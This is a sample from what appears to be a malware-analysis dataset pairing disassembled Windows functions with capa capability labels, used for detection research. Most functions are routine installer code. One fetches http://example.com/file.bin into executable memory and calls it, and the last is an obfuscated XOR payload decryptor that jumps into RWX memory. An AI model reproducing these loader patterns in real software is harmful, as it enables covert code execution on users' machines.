joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403268
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x403285
mov dword [ebp - 8], RegSetValueExA
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x403294
mov ebx, 0x40f7b8
mov eax, dword [ebp + 8]
test eax, eax
jl 0x4032a9
mov ecx, dword [0x425e78]
add ecx, eax
push ecx
call fcn.00403497
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.00403465
test eax, eax
je 0x403410
test byte [ebp + 0x17], 0x80
je 0x4033f9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40b6e8
mov dword [ebp - 0xc], eax
call fcn.004062d1
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x40345b
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x4032f9
mov esi, dword [ebp + 0x14]
mov edi, 0x40b7b8
push esi
push edi
call fcn.00403465
test eax, eax
je 0x403410
sub dword [ebp + 0x14], esi
mov dword [0x40b700], edi
mov dword [0x40b704], esi
mov eax, dword [ebp - 8]
mov ecx, 0x40b6e8
mov dword [0x40b708], ebx
mov dword [0x40b70c], eax
call fcn.004062f1
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x4033f1
mov esi, dword [0x40b708]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x409810], 1
mov edi, eax
je 0x40339b
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x403368
cmp dword [ebp + 0x14], 0
jne 0x40339b
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x54]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push 0
call fcn.0040516e
mov dword [ebp - 0xc], edi
xor eax, eax
cmp esi, eax
je 0x4033e6
cmp dword [ebp + 0x10], eax
jne 0x4033c4
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4033f5
cmp dword [ebp - 0x10], esi
jne 0x4033f5
add dword [ebp - 4], esi
jmp 0x4033da
sub dword [ebp - 8], esi
add dword [ebp - 4], esi
cmp dword [ebp - 8], 1
mov ebx, dword [0x40b708]
jl 0x40345b
cmp dword [ebp - 0x14], 1
jne 0x40331c
jmp 0x40345b
cmp dword [ebp + 0x14], eax
jg 0x4032ec
jmp 0x40345b
push 0xfffffffffffffffc
jmp 0x403412
push 0xfffffffffffffffe
jmp 0x403412
test edi, edi
je 0x403450
cmp dword [ebp + 0x14], esi
jge 0x403405
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00403465
test eax, eax
jne 0x403458
push 0xfffffffffffffffd
pop eax
jmp 0x40345e
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403420
mov esi, dword [ebp + 0x14]
mov edi, 0x40b7b8
push esi
push edi
call fcn.00403465
test eax, eax
je 0x403410
lea eax, [ebp + 0x10]
push 0
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4033f5
cmp esi, dword [ebp + 0x10]
jne 0x4033f5
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403415
jmp 0x40345b
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x403b71
Capabilities:
Identify system language via api

Disassembly:
cmp byte [0x42c000], 0
push ebx
push ebp
push esi
push edi
mov edi, pe_overlay
mov ebx, 0x42c000
je 0x403b90
push ebx
call fcn.00405da8
jmp 0x403b96
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov esi, dword [0x425e64]
test esi, esi
je 0x403be5
mov ecx, dword [0x425e28]
mov ecx, dword [ecx + 0x64]
mov edx, ecx
imul ecx, esi
neg edx
add ecx, dword [0x425e60]
add ecx, edx
dec esi
mov bp, word [ecx]
xor bp, ax
and ebp, edi
test bp, bp
je 0x403bcc
test esi, esi
jne 0x403bb6
jmp 0x403be5
mov edx, dword [ecx + 2]
mov dword [0x425600], edx
mov edx, dword [ecx + 6]
mov dword [0x425ec8], edx
lea edx, [ecx + 0xa]
test edx, edx
jne 0x403bf7
cmp di, 0xffff
jne 0x403bf3
mov edi, 0x3ff
jmp 0x403b96
xor edi, edi
jmp 0x403b96
mov dword [0x4255fc], edx
movzx eax, word [ecx]
push eax
push ebx
call fcn.00405d8f
push 0xfffffffffffffffe
push 0x425620
call fcn.00405e43
push eax
push dword [0x420fd8]
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [0x425e4c]
mov esi, dword [0x425e48]
test eax, eax
je 0x403c4a
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x403c41
push eax
lea eax, [esi + 0x18]
push eax
call fcn.00405e43
add esi, 0x418
dec edi
jne 0x403c31
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405685
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0xc]
mov dword [0x423000], 0x44
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
je 0x4056a9
test al, 0x10
jne 0x4056ac
mov dword [ebp + 0xc], ecx
lea eax, [ebp - 0x10]
push eax
push 0x423000
push dword [ebp + 0xc]
push ecx
push ecx
push ecx
push ecx
push ecx
push dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4056d7
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 8
Function at 0x40573f
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00405a20
test byte [ebp + 0xc], 8
mov dword [ebp - 4], eax
je 0x405773
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x425ea8], eax
jmp 0x40593a
push ebx
mov ebx, dword [ebp + 0xc]
and ebx, 1
mov dword [ebp + 8], ebx
je 0x405791
test eax, eax
je 0x4058bf
test byte [ebp + 0xc], 2
je 0x4058bf
mov esi, 0x422000
push edi
push esi
call sub.KERNEL32.dll_lstrcpyA
test ebx, ebx
je 0x4057ae
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x4057b4
push edi
call fcn.00405987
push 0x40922c
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x144]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4058b5
cmp byte [ebp - 0x118], 0x2e
jne 0x405805
cmp byte [ebp - 0x117], 0x2e
je 0x405898
cmp byte [ebp - 0x117], 0
je 0x405898
lea eax, [ebp - 0x118]
push eax
push ebx
call sub.KERNEL32.dll_lstrcpyA
test byte [ebp - 0x144], 0x10
je 0x405830
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405898
push dword [ebp + 0xc]
push edi
call fcn.0040573f
jmp 0x405898
push edi
push str.Delete:_DeleteFile___s__
call fcn.004061ac
mov eax, dword [ebp - 0x144]
pop ecx
pop ecx
and al, 0xfe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
push edi
jne 0x405891
test byte [ebp + 0xc], 4
je 0x40587d
push str.Delete:_DeleteFile_on_Reboot___s__
call fcn.004061ac
pop ecx
pop ecx
push edi
push 0xfffffffffffffff1
call fcn.0040516e
push 0
push edi
call fcn.00405b7b
jmp 0x405898
push str.Delete:_DeleteFile_failed___s__
call fcn.004061ac
inc dword [0x425ea8]
pop ecx
pop ecx
jmp 0x405898
push 0xfffffffffffffff2
call fcn.0040516e
lea eax, [ebp - 0x144]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4057e2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x4058bf
and byte [ebx - 1], 0
xor esi, esi
pop ebx
cmp dword [ebp + 8], esi
je 0x40593a
cmp dword [ebp - 4], esi
push edi
jne 0x4058e1
push str.RMDir:_RemoveDirectory_invalid_input___s__
call fcn.004061ac
inc dword [0x425ea8]
pop ecx
pop ecx
jmp 0x40593a
call fcn.004061c8
test eax, eax
je 0x40593a
push edi
call fcn.00405940
push edi
push str.RMDir:_RemoveDirectory___s__
call fcn.004061ac
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
push edi
jne 0x405933
test byte [ebp + 0xc], 4
je 0x40592c
push str.RMDir:_RemoveDirectory_on_Reboot___s__
call fcn.004061ac
pop ecx
pop ecx
push edi
push 0xfffffffffffffff1
call fcn.0040516e
push esi
push edi
call fcn.00405b7b
jmp 0x40593a
push str.RMDir:_RemoveDirectory_failed___s__
jmp 0x4058d2
push 0xffffffffffffffe5
call fcn.0040516e
pop edi
pop esi
leave
ret 8
Function at 0x405a20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x422400
push esi
call sub.KERNEL32.dll_lstrcpyA
push esi
call fcn.004059d3
mov edi, eax
test edi, edi
jne 0x405a41
xor eax, eax
jmp 0x405a93
push edi
call fcn.00406076
test byte [0x425e30], 0x80
je 0x405a5a
mov al, byte [edi]
test al, al
je 0x405a3d
cmp al, 0x5c
je 0x405a3d
sub edi, esi
jmp 0x405a72
call fcn.004061c8
test eax, eax
je 0x405a6c
test byte [eax], 0x10
je 0x405a3d
push esi
call fcn.00405987
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405a5e
call fcn.00405940
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405b04
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405b33
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405b77
test edi, edi
jne 0x405b3e
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405b71
Function at 0x405b7b
Capabilities:
Get common file path
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
push str.MoveFileExA
push str.KERNEL32.dll
call fcn.00406206
test eax, eax
mov esi, dword [esp + 0x18]
je 0x405ba7
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405ceb
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x423188], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x423188
je 0x405beb
push 1
push 0
push esi
call fcn.00405b04
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405cf1
cmp eax, edi
jg 0x405cf1
mov esi, 0x422c00
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405cf1
cmp eax, edi
jg 0x405cf1
push esi
push ebp
push str._s_s_r_n
push 0x422800
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebp, eax
push 0x3f0
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.wininit.ini
push esi
call sub.KERNEL32.dll_lstrcatA
xor edi, edi
push edi
push 0x8000080
push 4
push edi
push edi
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405ceb
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push edi
lea eax, [esi + ebp + 0xa]
push eax
push edi
push 4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, edi
mov dword [esp + 0x14], eax
je 0x405cd3
push edi
push edi
push edi
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
je 0x405cc7
push str._Rename__r_n
push edi
call fcn.00405a98
test eax, eax
jne 0x405cf8
lea eax, [edi + esi]
push str._Rename__r_n
push eax
call sub.KERNEL32.dll_lstrcpyA
add esi, 0xa
mov eax, esi
push ebp
add eax, edi
push 0x422800
push eax
call fcn.00405ae4
push edi
add esi, ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
push edi
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x425eb0]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x4099c4
push eax
call fcn.00405a98
test eax, eax
je 0x405cae
inc eax
lea edx, [edi + esi]
cmp eax, edx
mov ecx, eax
jae 0x405d21
mov dl, byte [ecx]
mov byte [ecx + ebp], dl
inc ecx
lea edx, [edi + esi]
cmp ecx, edx
jb 0x405d14
sub eax, edi
jmp 0x405cb0
Function at 0x405d25
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x14]
xor ebx, ebx
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405d89
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405d78
cmp dword [ebp + 0x14], 1
je 0x405d7a
cmp dword [ebp + 0x14], 2
je 0x405d7a
mov byte [esi], bl
push dword [ebp + 0xc]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x40610f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406134
mov eax, dword [0x4098c0]
cmp eax, 0xffffffff
je 0x40612b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x4098c0], 0xffffffff
jmp 0x4061a7
cmp dword [0x423da0], ebx
je 0x4061a7
cmp byte [0x4239a0], bl
je 0x406173
cmp dword [0x4098c0], 0xffffffff
jne 0x40617c
push 4
push 0x40000000
push 0x4239a0
call fcn.00405b04
cmp eax, 0xffffffff
mov dword [0x4098c0], eax
je 0x4061a7
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x4098c0], 0xffffffff
je 0x4061a7
push esi
mov esi, 0x4245c0
push 0x409a94
push esi
call sub.KERNEL32.dll_lstrcatA
lea eax, [ebp + 8]
push ebx
push eax
push esi
call sub.KERNEL32.dll_lstrlenA
push eax
push esi
push dword [0x4098c0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x406263
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42358c], 0
push esi
jne 0x40629a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406274
mov dword [ecx*4 + 0x423588], eax
inc ecx
cmp ecx, 0x100
jl 0x40626f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4062cb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x423588]
xor eax, esi
inc ecx
dec edx
jne 0x4062ad
pop edi
not eax
pop esi
ret 0xc
Function at 0x4012d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x11c
push 0x100
lea eax, [esp + 0x20]
push 0
push eax
call fcn.00402070
add esp, 0xc
mov dword [esp + 4], str.http:
mov dword [esp + 8], 0x414178
xor edx, edx
mov dword [esp + 0xc], str.example.
mov dword [esp + 0x10], str.com_
push esi
mov dword [esp + 0x18], str.file.bin
push edi
mov eax, dword [esp + edx*4 + 0xc]
mov esi, eax
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401320
lea edi, [esp + 0x24]
sub eax, esi
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401330
mov ecx, eax
inc edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, 5
jb 0x401316
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.004010a0
mov esi, eax
add esp, 8
test esi, esi
je 0x4013a0
lea eax, [esp + 0x20]
push eax
push 0x40
push dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401390
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.VirtualProtect_failed:__lu_n
call fcn.004013c0
add esp, 8
jmp 0x401392
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
xor eax, eax
pop esi
add esp, 0x11c
ret

Function at 0x401abb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401afa
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401afa
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401afa
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401afa
cmp dword [ecx + 0x74], 0xe
jbe 0x401afa
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407c36
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415758
push 0x415750
push str.FlsAlloc
push 0x1f
call fcn.00407af5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407c6a
push dword [ebp + 8]
mov ecx, esi
call dword [0x414120]
call esi
jmp 0x407c70
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407cb4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415768
push 0x415760
push str.FlsGetValue
push 0x21
call fcn.00407af5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407ceb
push dword [ebp + 8]
mov ecx, esi
call dword [0x414120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407cf3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415770
push 0x415768
push str.FlsSetValue
push 0x22
call fcn.00407af5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407d2d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414120]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40b278
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b315
push ebx
push esi
call fcn.0040b241
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b1d5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b2c2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b314
push edi
push eax
call fcn.004083e5
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b2e2
call fcn.00407988
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b313
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b1d5
add esp, 0x20
test eax, eax
jne 0x40b301
push edi
call fcn.00407988
jmp 0x40b309
push ebx
call fcn.00407988
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4133d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4133fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4133fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x402d53
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x403488
call fcn.0040323c
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x4043a0
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x402d98
cmp eax, esi
jne 0x402d8b
xor esi, esi
inc esi
mov edi, esi
jmp 0x402d9b
push 0x3e8
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x402d6f
xor esi, esi
inc esi
cmp dword [0x4043a4], esi
jne 0x402dad
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x402de7
cmp dword [0x4043a4], ebx
jne 0x402de1
mov dword [0x4043a4], esi
push 0x4011a8
push 0x40119c
call fcn.00402ec2
pop ecx
pop ecx
test eax, eax
je 0x402de7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x402ebc
mov dword [0x404034], esi
cmp dword [0x4043a4], esi
jne 0x402e0a
push 0x401198
push 0x401190
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x4043a4], 2
test edi, edi
jne 0x402e17
xor eax, eax
mov ecx, 0x4043a0
xchg dword [ecx], eax
cmp dword [0x4043a8], 0
je 0x402e43
push 0x4043a8
call fcn.00403090
pop ecx
test eax, eax
je 0x402e43
push ebx
push 2
push ebx
mov esi, dword [0x4043a8]
mov ecx, esi
call dword [0x40515c]
call esi
push dword [0x404040]
push dword [0x40403c]
push dword [0x404038]
call fcn.00401a43
add esp, 0xc
mov dword [0x404030], eax
cmp dword [0x404048], 0
jne 0x402ea1
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x404034], 0
jne 0x402eb5
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x404030]
mov dword [ebp - 4], 0xfffffffe
call fcn.00403284
ret
call fcn.00586000
jmp 0x402d53

Function at 0x402f94
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4034a8
call fcn.0040340c
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x402ff4
cmp eax, 0xffffffff
je 0x402ff4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x402fed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x402fed
cmp edx, 0x10000000
jae 0x402fed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x402fea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00403451
ret 4

Function at 0x403040
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40307e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x403076
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x403080
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x403066
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10005e45
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10005e54
pop dword [ebp - 0x1c]
mov eax, 0xade8f853
sub eax, 0x9de899ff
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x8b67d236
add dword [ebp - 0x2c], 0xc2ea7315
mov dword [ebp - 0x28], 0x98d4cd97
add dword [ebp - 0x28], 0x995e7eae
mov dword [ebp - 0x24], 0xfffed910
sub dword [ebp - 0x24], 0xb3b294e2
mov dword [ebp - 0x20], 0x28e6e377
add dword [ebp - 0x20], 0xd7191c89
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x59dad9c7
sub eax, 0x49d8d9c3
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x629068c8
sub dword [ebp - 0x2c], 0xee1dff72
mov dword [ebp - 0x28], 0x1a5add2d
add dword [ebp - 0x28], 0x27118448
mov dword [ebp - 0x24], 0x625e01f5
add dword [ebp - 0x24], 0x1116a77
mov dword [ebp - 0x20], 0xc125ee37
add dword [ebp - 0x20], 0x3eda11c9
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xff94d0bc
sub eax, 0xef92d0bc
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3db6e
push 0
call eax
mov ecx, 0x4bd7
xor edx, edx
add edx, eax
mov edi, 0xe6d6a984
sub edi, 0xd6d3ed84
add edi, dword [ebp - 0x1c]
mov esi, 0x9973baff
sub esi, 0x34a8a490
mov ebx, dword [edi]
xor dword [ebp - 0xc], eax
xor ebx, esi
xor dword [ebp - 0x10], edi
mov dword [edx], ebx
sub dword [ebp - 8], 0xed7a8f05
add edx, 0x36bcce7c
sub edx, 0x36bcce78
add edi, 4
loop 0x10005f72
add eax, 0xa4275374
sub eax, 0xa4263145
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2769afd8
add ecx, 0xe8965028
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret